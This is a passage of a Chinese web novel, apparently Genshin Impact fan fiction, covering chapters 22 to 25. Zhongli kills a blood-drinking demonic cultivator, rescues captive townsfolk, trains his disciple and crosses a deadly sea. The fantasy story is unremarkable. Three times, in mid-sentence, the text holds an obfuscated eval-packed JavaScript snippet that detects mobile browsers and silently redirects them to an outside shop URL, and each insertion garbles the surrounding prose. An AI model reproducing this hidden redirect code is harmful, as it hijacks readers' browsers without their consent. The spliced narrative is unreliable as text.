今天晚上再给他多喝点牛奶吧,刚好壶中仙人与提瓦特的联系尚未断绝,托祂多买些牛奶也好。 来到此界,这一路上钟离也没闲着,他以灵气为媒介,用手搓出来的天星为凭,开辟出了一个新版本‘尘歌壶’,璃月洞天幻化其中。 至于徒弟,他也一齐备好了,只等他抵达修仙界,引气入体,便能使用这灵戒。 来自师父的拳拳爱徒之心,钟鸣还不知道,此刻他只看着师父停下来,听到他说的话,立马摇头。 “只要和师父在一起,就一点都不辛苦。” 对比以前的日子,现在他别提有多快乐了,行万里路,看诸多风景,和师父一齐观赏,低沉的声音能道出各种各样的典故,无穷知识是信手拈来,这是曾经只能在梦里出现的场景。 钟离看着这个少年,打趣道:“不辛苦吗?那明天开始,再加一项工程吧,毕竟练武也要提上日程,我们先打个基础?” “我一定会努力的,师父。” 钟鸣一口答应,心中满是斗志,他一定不会辜负师父的期望的! 小路上回荡起钟离的轻笑,钟鸣在后头紧紧相随,一路上喊着师父等等他,等抵达百灵镇的时候,天色将将暗沉下去。 夕阳西落,该是点上灯火的时候了,这里却静悄悄的,门口没有守卫,城门大开着,一进去,秋风一卷,落叶摩擦着地面,半点人气也无。 “师父,这里……”他喉结滚动了一下,“这里不会有——有鬼吧?” 钟鸣紧紧拉住钟离的衣摆,缩在他身后,这一切都太不合理了,怎么会像一个死镇一样呢? 周遭的动静逃不过钟离的感知,这里家家户户只余寂静,不知道那些人去了哪里,三三两两也分散着一些老弱妇孺,此刻也躲藏在家中,一点声音也不敢发出来。 “别怕,我们进去看看。” 来都来了,钟离有什么好怕的?该怕的是撞在他手里人,亦或者是魔们。 钟离带着钟鸣走进这座镇子,脚步声回响在这个空荡荡的街头,钟鸣现在感觉害怕了,像是一个牛皮糖一样,紧紧粘在钟离身边。 唯一一家亮着灯的旅店在不远处,也没敢太显目,昏昏沉沉的灯光点了却约等于无,两人走进去的时候,外头也没人,钟离咳嗽了一声,轻微的响动惊了屋内的人。 “谁?” “一介旅人,来寻个落脚地。” 钟离言简意赅,暗处观察他的人可能是觉得他没什么攻击性,慢慢地打开了大门。 一个头发花白的老爷子走出来,他佝偻着腰杆,手里拿着一盏烛灯,借着光打量着两人。 一个青年一个少年,最容易被盯上的组合,他叹口气,告诫道:“年轻人,听老朽一句劝,别在这里多留,也别多管闲事,要是路过,今晚一过,就赶紧走吧。” 他眼里的恐惧害怕不是假的,但是他也尽可能地提醒了这两位外来的陌生人。 22.第 22 章 离开上一个村子的时候,钟离特意询问过百灵镇,这里是由于物产丰富而得名,这一地老知县德高望重,听说近来有了新任知县上任,原本应该是热热闹闹的镇子现在却如此萧条。 此时,老丈的劝诫中无疑是透露着一股非同寻常的消息,有什么不知名的变故发生了。 “最近可是发生了什么大事?” 这老爷子闭口不言,只是摇头,他接过了钟离给出的房费,急切地将手里的木牌放在他手中,就催着他俩快些上楼。 “年轻人,别多问,半夜里不管听到什么声音,都别出门。” 他态度坚决,钟离也只能点头,上楼前,那老爷子看他的眼神就像是看一些初入江湖的毛头小子一样,恨铁不成钢,是生怕他生起了好奇心,千里送人头? 尘世闲游太久,偶尔也会遇到这样的场景,虽有些好笑,但是钟离也不会忽略这位老人的善意。 是因为什么会让一个繁华的镇子变成这个模样呢?而这里的大多数年轻人又去了何方?感受着镇子里若有若无的魔气,钟离很是好奇。 按理来说,这里是凡界,怎会有魔修跑到这个地方来呢?这道魔气的主人实力并不强,达不到能横渡绝灵海的地步,‘他’又不是走的仙门传送阵…… 钟离垂目沉思,对于相处下来已经熟悉了钟离动作的钟鸣来说,他当然知道师父一定是想到了什么。 “师父,您觉得是什么作怪啊?” “这件事情嘛,小徒儿,修仙者的传言,你可听过啊?” “这我当然知道,听说皇城的国师大人就是一位修仙者,每十年都有一次机缘,我此前也是,也是想去的。” 想到这里,钟鸣有些无言,不过,自从和师父钟离离开以后,他觉得这样当一个自由自在的普通人也很好,修仙什么的,这种传说离他还是太遥远了。 “那你可知道,修仙界有修仙者,却也不止有修仙者。” “啊,那还有什么?” 钟鸣摸摸脑袋,他第一次听师父这些,果然,他的师父就是博学。 “修仙者、修魔者、妖修、鬼修……这些人物共存于世,其中,魔修以残酷狠辣出名,自然,修仙者也不全是好人,不过啊,仙道魔道自在人心,不过是一个法门罢了,这其中好坏,都要试过了才知道……” 钟离慢慢向钟鸣说起这些,修仙界,多得是妖魔鬼怪,现在时间充裕,慢慢教导这个还是一片白纸的徒弟也好。 天道给他的命运线里,未来的修仙界人人入魔,很大程度上,是被他这位徒儿被截运后的影响,在他没有恢复皇族身份的未来,他修入魔道,反倒成了那位截运者的磨刀石。 那么他中途是如何在一个凡间界接触到魔道的呢?钟离此时觉得,百灵镇可不是一个巧合。 钟鸣其实很聪明,他听钟离没有回答他的问题,而是说起这些,心里已经隐隐有了些不一般的猜测。 “所以,让这个小镇变成这样的原因,是来自那个修仙界的人?” “是,你很聪明,鸣儿。” 钟离坐在桌前面,摸了摸小徒弟的脑袋,看着他眼珠子转着,神色间一片思索,他也不急着直接解开这个答案,而是让他慢慢地去思考。 “待会儿我们便去那知县府邸看看。” “嗯。” 钟鸣重重的点了点头,他一点也不害怕,最开始觉得师父是一个颇为富贵的普通人,现在他却想,师父也有可能就是传说中的仙人,一个很厉害、很强,知道天底下所有事情的人。 只要和钟离在一起,他一定会保护好自己的,钟鸣就是这样信任他。 夜晚,钟离从小洞天里拿出为钟鸣准备好的餐食,荤素搭配,营养丰富,看得出来,他对养大养壮钟鸣非常有信心,顺带还塞给他鲜牛奶。 对于这神奇的一幕,钟鸣已经见怪不怪了,传说中的掌中洞天、袖里乾坤什么的,在他认定钟离是仙人的时候,他就觉得,自己不管是见到什么,都不会再惊奇了。 吃完饭,钟离把灯吹灭,他并没有急着哄钟鸣入睡,而是打算实施他方才心中所想的计划——夜探百灵镇。 黄昏之时,便已然是寂静的村子,在真正的夜幕降临许久之后,更加无声无息,地面上的人都藏得更深更隐蔽,大气都不敢喘一声。 镇子的最中心,那里的灯光最为耀眼,似乎是在向整个镇子的人宣告他的存在,咿咿呀呀的戏曲从里头传来,来来往往的脚步带着喧嚣之感。 钟离提溜这小徒弟,就这样默默无声地摸出了客栈,老板早就熄了门外的灯,明明害怕恐慌,却要在旅人进城之时亮起一盏灯,恐怕,也是想要警醒过路人吧。 一路走过来,四周的血腥味也越来越重,咕噜咕噜的流水之声隔着一堵墙院,在里头淙淙流淌。 “老爷,这青壮年,是越来越少了,您看……” “找,再给我找,女人的血的鲜甜的,男人是滚烫的,更有生气,幼儿先天之气未绝,更是上佳,那些老人就算了,活像是馊了东西,往常不是有些人路过吗?最近一个都没有?” “这……失踪的人越来越多,大家都从这绕道了。” 这么回答,这个年逾半百的老管家腰更佝偻下去,看起来似乎是在惶恐,头恨不能低到地里去,一言不发地等着上方之人的诘责。 “呵,废物,地下养的那些材料也不新鲜了,你最好在我耐心耗尽之前,物色些新的。” 借着月色,钟离带着钟鸣站上了墙头,打量着下方,顺带听听他们的对话。 这富贵迷人眼的院子里,一个干枯的人坐在上方,只一个照面,钟离不用再细看,就已经看出了这人的跟脚。 魔族之中的血魔,这倒不是一种族群,而是一群修炼特殊功法之人,依靠汲取修士躯壳中的精纯灵力壮大自己,可是一些下等修者往往参悟不到位,久而久之,染上了吸食人血的恶习,浊欲俱染,如同过街老鼠一样,魔修看不起,仙者之中亦人人喊打。 不知怎地,这个魔修逃到了凡界来,想来应当是端着‘山中无老虎,猴子称大王’的想法,反正天赋不高,回又回不去,不如赖在这个凡界潇洒快活个几百年。 钟离眼中并没有流露出太多的情绪,人类之中亦有败类,这几千年来,他见得多了,如今此地百姓久受其压榨,无有主持大局者,他看见了,也定然会出手。 神念一扫,这个府邸上上下下,就已然被他感知的一清二楚。 这个屋子里的各种装饰,随随便便拿出去一件,便是价值千金,华贵非凡,如今这样大喇喇的放在屋里,使用之人将其称作自己的门面,又享受着手掌凡人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080187|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生杀大权的快意,这一切,都太令他着迷了。 那苍老枯瘦的人慢慢喝下手边的‘血茶’,眯着眼,醉生梦死的表情,无端令人作呕。 钟离站在钟鸣身旁,问道:“这便是魔修了,怕么?” 钟鸣认认真真的观察着下方的人,毫无警惕感,神态丑恶,目空一切的模样,他摇摇头。 “我不害怕。” 压榨普通人得来滔天富贵,魔欲满身,欺软怕硬……他涵盖了人性一切缺点,钟鸣想,看着他,连人都称不上。 他不知道自己内心为什么会这么愤怒,但是他一见这样的人,就觉得内心里满是悲悯,觉得自己合该去拯救那些无辜者。 此刻,他的双眼仰视着钟离,却只让看懂了其中蕴意的帝君大人叹了口气。 若要说他是天命之子,那他背负的命运似乎便有些沉重了,为了世界的晋升,为了道的延续做到极致,唯有承担了应有的责任——斩除邪祟,正道明心,方能得到天道的重视,这是公平的。 “鸣儿,你且看好了,今天教你生存的第一课。” 对待敌人,就要毫不留情,不留一丝一毫的退路。 摩拉克斯不是如今的钟离,但钟离依然能成为当年的武神摩拉克斯。 虽说前岩神摩拉克斯,现龙君大人对一个区区筑基期的魔头出手有些太过大材小用了,但是给徒弟当一个小教材,也算他物尽其用。 金色的屏障护住钟鸣,下一秒,一杆金色的岩枪从天而降,直直朝堂上的人影落去,那看起来半死不活的干柴人影此刻才突然惊作起来,意识到有敌人袭来。 “是——” 谁…… 一句话,两个字,还没吐完,岩枪已经将其钉死在地上,这魔头一死,神魂便动摇起来,窜出躯体,想要朝远方跑去,却被钟离泛着金光的手一把捞了回来,随手塞进来一个圆球之中,躯壳可舍,神魂却是其命脉所在。 他甚至不值得被钟离严肃对待,充当封锁的金球就这样被钟离把玩在手里,他瞧了瞧,若不是事有疑问,他可能早就把这抹神魂磨灭了。 这下子,那位刚才出声的老管家震惊之下,连带着腿一软,跌坐在了地上,看着这突然出现的人——钟离。 “他,他死了吗?” 老管家咽了咽口水,朝着地上的尸体看过去,这瞪着一双大眼,神情定格在生前最惊讶的一瞬、一动不动的尸体,半点呼吸也没有,是真的死了。 他一瞬间是老泪纵横,连滚带爬跑到尸体旁边,抱起这具尸体,呜呜大哭起来。 “老爷啊,我的老爷,那鬼东西终于走了,啊!我就随你去了,是我不中用啊……” 钟离事先便看出来这老管家倒不是什么坏人,这地底下还有一座囚牢,里面都是些虚弱的人,只怕就是这镇子里失去了身影的青壮年,好在,可能是为了便于取血,这魔头并没有竭泽而渔,而是圈养起了他们。 现在,钟离看向屋檐上,“鸣儿,跳下来,师父会接住你的。” 如果是魈,那孩子从来没有让钟离失望过,倒是钟鸣,他现在还是一个普通孩子,钟离免不了要多关注他几分。 现在,他看着上方的钟鸣,心里也想着逗逗他,却没想到,下一秒,钟鸣想都没想,直接从上面跳了下来,落入了钟离怀里。 23.第 23 章 钟鸣落到钟离怀里,隔着他,钟鸣遥望那石质的、灿金色的岩枪,神情满是向往,师父果然好厉害。 那柄岩枪粘了血迹,钟离也并不觉得有要拔出的必要,当着所有人的面,那枪便化作金光,直接消散了。 刚才唱着的戏曲声此刻也停了下来,听着他们凌乱的脚步声,大概是发觉了屋内的变顾,一个两个开始往外逃命去了,半响,只余下老管家的哭嚎,一直等到他平静了几分,钟离才慢悠悠地走过来。 “老人家,这里到底发生了何事?” 这素来远近闻名的富庶镇子变得如此萧条,而他捏住的这个神魂,看起来他不是真身,而是夺舍。 “大约半个月前,我们老爷马上就要告老还乡了,按理说新任官员即将走马上任,本来一切都好好的,谁知、谁知天降祸事,那日一柄残剑自天而降,落在了这府中,这一切,自它开始就变了!” 残剑?大约是这魔修依靠残剑护住自己的神魂,一落地,为了不消散,自然夺舍了离他最近的人,这位知县大人就是那位倒霉者。 “然后呢?” “然后,然后一切就变了,老爷也变了,他变成了吸食人血的魔物,到处抓捕青壮年,本来我也是要死的……” 但是他太老了,那个魔物说他味道不好,又兼之他假意倒戈得格外诚恳,那之后,他帮着这魔头抓人,却从中周旋了几分,大多数年轻人只是被取血,尚且被圈养在地牢,没有生命危险。 如今,仙人自天而降,解救了他们,老管家抱着怀里的尸首,老泪纵横,复又趴伏在地。 “感谢仙人伸出援手,今日我也无颜活下去,新来那位知县就被关押在地牢之中,万望仙人主持大局……” 钟离心中暗道不好,向前走几步,却见那老管家已经倒了下去,和他主子的尸体躺在了一起,大概是口中含了些毒药,早就决心寻思了。 钟鸣也愣住了,他将脑袋探出来,面色上也很是疑惑,活着的人,为什么说死就死了呢? “师父?” 钟离轻叹一口气,他大概,也是因为觉得自己是帮凶,无颜再面见镇上之人,亦有主死仆从的想法,才会如此吧,人性如此,好坏参半,以这位老管家的打算来看,即使钟离今日不来,过不了多久,他也会选择与那罪魁祸首同归于尽,只是个早晚罢了。 但他捕捉不到神魂,想必那时候,这魔修不过是换了个地头,强占了身躯,再现今日之景。 “走吧,鸣儿,那是他最后的选择,现在,我们去地牢救人。” 钟鸣不太明白,钟离也不需要他一朝一夕就能想清楚那位老管家今日的选择,总归还是个孩子呢。 建在这府邸地下的地牢之中,一扇一扇大门里关着全镇大部分的青年 ,还有些过路的无辜之人,如今虽然脸色苍白了些,但还好好的躺在这里,也是多亏了那位老管家的功劳。 钟鸣走在前头,他一进去的时候,地上的人眼里都是痛恨,对此刻身在地面上那位魔头的痛恨,看着钟鸣轻松无忧的眼神,他们还以为这小孩尚且不知道发生了什么。 直到钟离走进来,金色的波纹随手荡开,牢房上的锁头全被震落,地上好些人还有些反应不过来。 “出来吧,那魔修我已经除了。” “什、什么?” “我们得救了?” “那魔头死了,哈哈哈哈哈,他死了……” “爹、娘,我得救了,我得救了哈哈哈哈……” ………… 大喜之下,他们甚至顾不得钟离两人,他们只知道自己得救了,脑海里的执念驱使着他们逃出这里,压根顾不别的。 一窝蜂的人涌出来,他们虽然因为失血过多,时而头晕目眩,但是即使是爬,他们也不愿意再呆在这里了。 钟离拉住钟鸣站在角落之中,看着那群人争先恐后的冲出了这里,不到一盏茶的功夫,这地牢里已经是一片空旷了。 “咳咳——” 最里面的房间,一道止不住的咳嗽声传了出来,钟离一回头,便见一位扶着地牢的墙壁才堪堪能站起来的青年,他一边缓慢挪动,一边捂着胸口,看起来很是病弱。 “多谢这位公子咳咳咳——解救,解救一方,在下百灵镇的新任知县,在此谢过了。” 他说着,揖了一礼,唇色白的毫无血色,看起来身体本就不太好。 看见这位青年,钟鸣愣住了,他对那些少数给予自己善意的人,向来急得很是清晰,他来都城的路上,刚刚被人抢走了身上的玉佩,还被打了一顿,身无分文,差点饿死,是这个青年捡到了在路边的他,还施舍给了他大半干粮。 “是、是你!” 钟鸣也有些激动,他站了过去,这一路上,得到的为数不多的善意在他心中异常珍贵,而那些对他报以善意的人,他也决计不会忘却。 这病弱青年倒是有些发愣,他觉得自己没见过这样钟灵敏秀的小公子啊。 流浪途中的钟鸣一身脏污,看起来就是不是哪里来的小叫花子,如今这样一身贵气的衣装,长得唇红齿白的,别人打趣说这是哪里来的小仙童,自然与过去有着云泥之分了,这谁能认出来呢。 “你此前救过我,还给我吃的。” 钟鸣一边帮他回忆,一边回头看向钟离,有些害羞地又躲回了师父身边,当初结下的善缘,不恰恰好报在这一天? 那应该是两三个月前了,青年目露讶异,随即却又笑道:“看来,如今你过得很好,苦难已尽,未来必然是天高任鸟飞,海阔凭鱼跃了,恭喜你啊。” 他又朝钟离弯腰,敬了一礼,这个男人的手段与气度,比之当朝国师更甚,想必也定然是一位世外高人,今日得救,也多谢他了。 “不必如此,百灵镇得救,如今正缺主持大局之人,我师徒二人不过一介过客,还要望你多加操劳。” 说着,钟离似乎是抚了抚他的肩,青年一身病气似乎就那样被他拍散,后知后觉反应过来的他已经直起了腰杆,他感觉自己的身躯似乎从来没有像现在这样轻松过。 “那算命的老者似乎说得没错,我活命的机缘在北方,若是一路行善,终有回报之日。” 这么想着,他摇了摇头,世外仙者,真是羡慕啊,不过,当一个为国为民的好官也不错,终归是各司其职罢了。 而离去的钟离与钟鸣两人早就重新返回到了客栈之中,钟离此刻拍着钟鸣的脑袋让他早些睡,可是钟鸣却像是十万个为什么,眼巴巴地等待着钟离给他解疑答惑。 “师父师父,你最后做了什么呀?那个哥哥一下子就好了。” “小手段,你想学以后可以教你,现在快睡觉。” “哦,那师父,我们明天去哪里啊?” “继续北上。” “多久才能到目的地呀?我们要去干嘛呀?师傅什么时候教我学武啊……” “……再不睡觉,你以后就长不高了。” 钟离金棕色的眸子一瞥,钟鸣把嘴一闭,也不说话了,板板正正地躺在床上,糟糕,师父好像真的有点生气了。 他眼睛一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“徒儿,可是害怕为师刚才所做的手段?” 钟离侧目向下看着拉着自己的孩子,他从刚才开始便一直在沉默,钟离思量片刻,似乎是在反思自己的掐灭魔修的神魂有些太过干脆冷漠了,才叫小徒弟害怕了。 钟鸣摇摇头,他对于钟离那可谓是带着八百米加厚的滤镜,怎么可能会觉得师父手段凶残,他只是在思考前路罢了。 此刻他手里拿着一张地图,在那里琢磨地看着,对于师父为什么要往北去,他并不知道,但是这一路走来,他觉得自己见识了很多事,看遍了很多风景,那也就足够了。 甚至于师父教给他的,对待敌人万万不可心慈手软,他全都默默记在心里,师父不管做什么,肯定都有他自己的道理,绝对不会害他的! “我不害怕,只是师父,前面我们就要进入莽山了,大家都说,莽山之中一片苍茫,人只要进去了,就再也走不出来了。” 这片茫茫大山是绝灵海与凡间界的分割线,凡人不去遥望那头,仙士也懒得去关注这头。 比起修仙界的浩瀚苍茫,凡界就如同一片特殊的秘境,这里没有灵气,资源贫乏,不值得任何人在意。 而绝灵海包括的,不仅仅一个凡界,其中囊括了凶兽、魔灵,因而无数修士压根不敢入境半步。 如今,钟离就是要带上钟鸣,横跨此地,这是他对自己实力的绝对自信。 这等绝境对于此界的‘龙君大人’来说,区区一条路途尔。 24.第 24 章 莽山作为凡界与修仙界两大天关之一,其中当然也是不平凡的,它如同一个巨大的磁铁,将从绝灵海中逸散而来的灵气全部鲸吞,用于成就山中的造化。 传言道,莽山十万里,埋葬了无数没入其中的英雄好汉,越往里走,也暗藏着无数妖物奇珍,历朝历代都在盛传着莽山之中有仙缘神药,对于普通人或者是一些低阶修士来说,这里面产出的灵药确实功效强大。 但是对钟离来说,十万大山,神识一扫而过便能全部感知,旁人求知若渴的珍奇之物只能是看的过去,远远达不到他心中能称之为奇珍异宝的等级。 “朋友,莽山可不是那么好闯的,你确定要进去?还带着个……” 拖油瓶。 虽然他没有明确地说出这三个字,但是钟鸣确信,眼前这个同为想进山里捞点好东西的人绝对是这么想的。 “这就不劳兄台多虑了。” 钟离只是笑一笑,拱手行个礼,便带着钟鸣扬长而去。 外人看来,他们萍水相逢,恰巧碰个面,此后便各走两道,他们的性命之忧,自己都不在乎,自己又何必去做那多管闲事之人,只是茶余饭后又是一个谈点——那不知天高地厚之人还带着个拖油瓶闯入莽山,最终亦埋葬其中,可叹,可叹。 “师父,我们为什么要进山啊?” 钟鸣想明白了一点,却又不是那么明白,所以他干脆直接出言询问。 “前些日子,让你看的天灵纪事,你看了吗?” 修仙界在他们自己看来,名为天灵大陆,天灵纪事,讲的便是这片大陆上发生的种种事件,同时作为史书,算是那里的小孩子开智所读。 对于第一次接触到这些东西的钟鸣来说,他像是看了一本神话故事,上面上古大战、仙门列派、妖魔盘踞……种种一切,全是闻所未闻,他如同井底之蛙,实际上,他猜到师父是书中所言的修仙者了,但是更多的,他却不知道了。 “还没有看完。” “第一章便是地域志,凡间界地处南荒,灵气全然断绝,它与天灵大陆之间横亘的天关,你可知道?” “是绝灵海?” 百姓愚昧,皇朝又在仙门大派的把持之下,虽说到此的都是些不受待见的修士,但是有他们在,抑制了民智,大多数人也就无法得知莽山的背面是什么,它之后的海域,虽有传言,可至今也无法寻根究底了。 但是好处也有,对于这里的百姓来说,生活在凡人界,已经要比生在修仙界快活得多了。 “是啊,绝灵海,我们便是要穿过莽山,横渡绝灵海。” 在书中记载了绝灵海的种种恐怖,不是修士大能,谁敢跨越?钟鸣只记得其中介绍了元婴之上,才有无伤横渡的实力,他不了解这层境界代表了什么,但是他知道师父绝对够强。 钟鸣跨着大步子,跟在师父身边,眼里满是仰慕,在少年眼中,说起这些话的钟离轻描淡写,强大的实力与开阔的眼界构成了眼前这个青年,仿佛没有他去不了的地方、敌不过的敌人。 “怎么样,这么说,你害怕吗?” 钟离问起他来,带着笑意的脸看起来很是——和蔼慈祥?像是老爷爷逗小孩似的。 钟鸣赶紧甩甩脑子,怎么能这么想师父呢? “我不怕,有师父在我就一点都不害怕!” 所以面对眼前的莽山,他可是无所畏惧,一直到密林深处,再无旁行之人时,看着一路跟过来累得气喘吁吁的钟鸣,钟离才微眯着眼,“感觉如何?这十万大山,想要翻越,可远着呢。” “我能坚持住。” “这可是你说的,往后可不要喊累,从明天开始,我就教你引气入体的法门,顺便开始习武,基础也打了,路上该练的,也别耽搁。” 钟离早就准备这一天了,莽山里有着灵气的存在,虽然浓度赶不上天灵大陆千分之一,但是亦有灵药的存在,所以他的做法简单粗暴,除去休息的时间,一半的时间在山中闲游,一半的时间用于挥剑、练枪、射术、法决,待到感悟灵气,则被钟离扔到了一些灵药生长之地,这些植株天然的会吸收空气中的灵气,所以周边的灵气浓度基本上比寻常状态高的多。 刚开始钟离会帮他清理掉守护灵药的兽类,不过,天命之子也不愧是天命之子,他悟性高觉,短短半个月就能引气入体,这下子,钟离放开了练,直接扔到那些勉强算是妖兽的地盘,真刀真枪地上手,除非是生命危险,钟离基本上都不会插手。 无论是智慧还是武力,只要能解决敌人,就算钟鸣过关。 钟离刚开始给他演示,甚至不需要用到其它的办法,他仅仅使用一杆岩枪,亦或者一柄铁剑,靠着千锤百炼的招式,他就能轻易将钟鸣眼中的强敌一击必杀。 “记住了,用最少的力,最大的智慧,对待敌人,就要毫不留情,同时,又要学会慎之又慎!” “我知道了!” 钟鸣拿起手里的长枪,深呼一口气,忍着肩上的伤再度冲向前方,同时也想着该如何战胜身前的妖兽。 从第一次受伤起,钟鸣就知道,平时温和的师父在一起教导起修炼这一方面来算是毫不留情,但是这是为他好,如果怕受伤、怕吃苦,前路便犹如天堑,令人止步不前,他要成为师父的骄傲,而不是一个外人眼里的拖油瓶! 比起诸武精通的钟离,他拿着长枪远远不是那么的熟练,甚至于有时候偶尔有些束手束脚,他第一个练的便是枪,因为师父也拿枪,虽然没有什么天赋,但是他不是那么轻言放弃的人,不适应就努力适应,一切负累,在他的努力下,总有一天不会成为负累。 最后一击,钟鸣费劲自己所有的力气,在空中将那妖兽钉死在了地上,自己也反身落地,在地上滚了一圈,脸上脏兮兮的,身上也满是灰尘,又像是变成了那个乞丐模样的‘脏小孩’,但是现在不一样了。 他兴高采烈地跑到了钟离身边,“师父,我做到了,我刚刚还突破了,已经是练气四级了!” 两个月,在灵气匮乏之地做到这个地步,是个天才。 钟离摸了摸他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114710|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脑袋,一个清洁法术,让他又变回干干净净的模样,又塞了一颗疗愈伤口的丹药给他。 “做的很不错,这是奖励。” 钟离将一颗褐金色的灵戒放在他的手心,这是很早就准备好的,钟离早就打算在他引气入体的时候交给他的——戒中洞天。 “这是什么?” “滴血认主,先前的拜师礼还是太过简陋,这是我早就准备好要送给徒弟的。” 这方世界的天道毫不吝啬,龙族遗产、灵石矿脉可谓是给他塞了个满怀,无疑算是钟离的最大钱包,比北国银行还富的那种,如今用来养祂的天命之子,也算不枉祂的投资。 钟鸣乖乖一看,却被震惊在原地,小小一个戒指,里面居然是一个巨大的小世界,浮空巨石之上建立起的建筑,有山有水,云气高悬,如同世外仙境,比之真实世界亦无不同。 “师、师父!这一定是个大宝贝吧?” “随手所练,亦比不得我之故友。” 这洞天参照了尘歌壶的炼制,只不过媒介换了,只建造出了这区区两个浮空岛屿便已经装载不下,他很少炼制这东西,自然觉得这不过如此。 “岛中炼丹、炼器以及一些功法窍诀皆有,若是有疑惑,随时来找我询问便是,有些封印只有等你境界到了才能打开,修行路上,万万不可冒进啊。” “是,徒儿谢过师父教诲!” 钟鸣就正经这么一句,随后便兴高采烈地蹲在自己师父前,像是只开心的小狗。 阿娘已经故去,昔日唤他小狗儿的女人不在了,可是他遇见了阿娘口中所言,会让他不再吃苦的、亦师亦父的人,他对他传道授业,护他成长,他现在已经过上了他阿娘对他所期望的,幸福的生活了。 虽然打坐修炼很枯燥,战斗练武很疲惫,但是他喜欢这样的生活。 “走吧,这山里,也没有多少妖兽能与你交手了。” 钟离背过身,那么也是时候该离开这里了,他遥望山的尽头,如今,钟鸣虽然已经踏上修仙的路程,但是要以他的速度,还是够呛,所以钟离拉起了钟鸣。 下一秒,泛着金光的剑刃直接腾空,钟离带着钟鸣轻轻飘飞了上去,它随着钟离心念直接一飞冲天,反正此地已经够深,压根无人可以看见眼前这一幕。 虽然钟离也有别的办法,但是带着徒儿御剑赶路,不比别的来得更加畅快? 狂风从耳旁呼啸,钟鸣一脸兴奋看着脚下的翠绿山脉,烈风刚刚吹到他的脸颊旁便被钟离打散,高空直线而过,这十万里压根不是什么问题,带着徒弟一路狂飙,落地之时,他们已然站在了千尺断壁最高处,下方,便是黑沉沉的海域了。 落在这悬崖绝壁之时,钟鸣还有些腿软,看着这无尽之海,他瞪大了眼睛,前方灰蒙蒙的,雾气翻涌,人一旦没入其中,连方向都找不到,更遑论海中还有无穷凶兽。 他咽了咽口水,仰头看向钟离,他却只是挥手一招,巨大的灵舟从空间裂隙之中钻出。 前方之路,有何可惧? 25.第 25 章 大雾翻涌,自钟鸣跟着钟离一起踏入这迷雾之中,已经过去了有四五天了,灵舟之外,钟鸣看见了无数异兽,海中亦有大恐怖,可惜他们遇见的是钟离。 龙族在这方世界虽然灭绝,可自上古遗传而来的威名,可谓是极为深重,有钟离坐镇,管他什么滔天凶兽,若要来,也只有沉尸海下的结局,更别提,钟离其实并不怎么喜欢海下那些长得奇形怪状的凶兽了。 “吞天雀又来了,师父。” 钟鸣趴在船舷上,看着外面那只有着锋利勾爪,羽毛硬如钢铁的大鸟。 这只鸟没事就来撞钟离布下的结界,就算感受到了威胁与恐吓,也不愿意离开。 钟离其实勉强猜到这凶兽要做些什么了,绝灵海内的凶兽除了土生土长的海域生物,有一部分是被放逐到此的,放在天灵大陆,估摸着也是干了些恶逆之事。 这里面有一种特殊的影响,妖兽被压制后将无法化形,这吞天雀仅仅金丹后期的修为,在浓雾之中被压制,甚至于无法辨别逃离这片海域自然形成的迷阵的困境,好不容易遇见个路过的大佬,那不得紧紧扒拉着。 他想朝钟离传音,钟离却懒得搭理,不过这鸟儿嘛,倒也是个异兽,虽为吞天雀,但体内却含有一丝真凤血脉,否则那里能抵御住钟离放出去的威压呢? “尊者大人,我真的很有用的,只求您愿意让我拜服于您的座下,为您鞍前马后,肝脑涂地,我也在所不惜!” 吞天雀神魂之音传来,眼神颇有些讨好,连带着看他未来的小主子——钟鸣,也是一脸谄媚,天知道,在一副鸟脸上看见这个表情,活脱脱的太猥琐了。 钟鸣看一眼,再看一眼,还是一言难尽的模样,但是他确实挺喜欢这只威风凛凛的大鸟,比他这个人大了十几倍,他达不到师父那样凭虚御空亦或者御剑千里的实力,但是这只鸟的速度,勉勉强强由他师父三分之一吧? 不过,在听见吞天雀所说的话之后,他就不再多想了,拿钟离所言,这只鸟实力不如何,但是把人类的好话姿态学了个十成十,也不知道哪里学的。 “我英明神武的小主人啊,您帮帮我吧,您一看就是如此的钟灵敏秀、天资过人,身为未来的一大强者,尊者座下唯一弟子,您的出行怎么能没有一个拉风的坐骑呢?只要您开个金口,未来我大嘴为您冲锋陷阵,绝无二言……” 现在,钟离不理他,他来骚扰钟鸣了,傻孩子这辈子没听过这么多恭维的词汇,把他夸得像是天神下凡,钟鸣都静不下心打坐。 “徒儿,过来。” 钟离坐在船舱内,桌前倒着一杯泡好的灵茶,细细品味,心中都没有赶吞天雀走的意思了,按照常人的思维,这吞天雀确实有些意思。 他脑子里思索,钟鸣若是日后出去历练,心性总归是太单纯了,这只吞天雀不一样,油嘴滑舌,心眼子又多,也可用来代步,算是个上好的工具鸟,只是实力着实够不上钟离的眼。 钟鸣从甲班跑来船舱里,就看见师傅撑死的目光,他站到桌前,摸摸脑袋,有些不好意思,以为是自己久久无法静心,所以才惊动了师父呢。 